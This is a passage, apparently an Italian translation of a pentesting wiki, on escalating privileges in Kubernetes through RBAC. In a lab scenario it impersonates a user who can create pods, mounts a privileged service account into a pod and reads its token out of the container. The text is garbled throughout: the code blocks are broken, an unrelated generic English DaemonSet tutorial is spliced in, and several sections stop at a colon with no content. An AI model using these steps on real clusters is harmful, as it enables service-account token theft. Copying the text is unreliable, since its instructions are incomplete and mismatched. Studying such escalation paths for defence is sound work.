Creazione del Pod -> Escalation a ns SAs

Creeremo:

• Un Service account "test-sa" con un privilegio di cluster per leggere i segreti

• Saranno creati un ClusterRole "test-cr" e un ClusterRoleBinding "test-crb"

• Saranno dati permessi per elencare e creare pod a un utente chiamato "Test"

• Saranno creati un Role "test-r" e un RoleBinding "test-rb"

• Quindi confermeremo che l'SA può elencare i segreti e che l'utente Test può elencare i pod

• Infine impersoneremo l'utente Test per creare un pod che include l'SA test-sa e rubare il token dell'account di servizio.

• Questo è il modo per mostrare come l'utente potrebbe ottenere privilegi in questo modo

Per creare lo scenario viene utilizzato un account amministratore. Inoltre, per esfiltrare il token dell'account di servizio in questo esempio viene utilizzato l'account amministratore per eseguire all'interno del pod creato. Tuttavia, come spiegato qui, la dichiarazione del pod potrebbe contenere l'esfiltrazione del token, quindi il privilegio "exec" non è necessario per esfiltrare il token, il permesso "create" è sufficiente.

```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere

echo 'apiVersion: v1 kind: ServiceAccount metadata: name: test-sa

Check test-sa can access kube-system secrets

kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

Check user User can get pods in namespace default

kubectl --as Test -n default get pods

Create a pod as user Test with the SA test-sa (privesc step)

echo "apiVersion: v1 kind: Pod metadata: name: test-pod namespace: default spec: containers:

• name: alpine image: alpine command: ['/bin/sh'] args: ['-c', 'sleep 100000'] serviceAccountName: test-sa automountServiceAccountToken: true hostNetwork: true"| kubectl --as Test apply -f -

Connect to the pod created an confirm the attached SA token belongs to test-sa

kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

Clean the scenario

kubectl delete pod test-pod kubectl delete clusterrolebinding test-crb kubectl delete clusterrole test-cr kubectl delete rolebinding test-rb kubectl delete role test-r kubectl delete serviceaccount test-sa

## Creare un Daemonset

To create a Daemonset in Kubernetes, you need to define a YAML file with the necessary specifications. Here's an example of how to create a Daemonset:

```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: my-daemonset
spec:
  selector:
    matchLabels:
      app: my-app
  template:
    metadata:
      labels:
        app: my-app
    spec:
      containers:
      - name: my-container
        image: my-image:latest

In the above YAML file, replace my-daemonset with the desired name for your Daemonset. The selector field specifies the labels used to identify the nodes where the Daemonset should run. The template field defines the pod template for the Daemonset, including the container specifications.

Save the YAML file and apply it using the kubectl apply command:

kubectl apply -f my-daemonset.yaml

This will create the Daemonset in your Kubernetes cluster, ensuring that a pod with the specified container runs on each node matching the label selector.

Patch del Daemonset

In questo caso andremo a applicare una patch a un daemonset per far sì che il suo pod carichi il nostro service account desiderato.

Se l'utente ha il verbo update invece di patch, ciò non funzionerà.

Creare/Modificare Associazioni

Non funziona:

• Creare una nuova RoleBinding solo con il verbo create

• Creare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di associazione)

• Non puoi farlo per assegnare il ruolo a te stesso o a un diverso SA

• Modificare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di associazione)

• Non puoi farlo per assegnare il ruolo a te stesso o a un diverso SA

Bind espliciti

Nella sezione "Prevenzione dell'elevazione dei privilegi e avvio" di https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ viene menzionato che se un SA può creare un Binding e ha permessi di Bind espliciti sul Ruolo/ClusterRole, può creare dei binding anche utilizzando Ruoli/ClusterRoles con permessi che non possiede. Tuttavia, non ha funzionato per me:

Creazione arbitraria di ruoli

In questo esempio cerchiamo di creare un ruolo con le autorizzazioni di creazione e percorso sulle risorse dei ruoli. Tuttavia, K8s ci impedisce di creare un ruolo con più autorizzazioni di quelle dell'utente che lo sta creando:
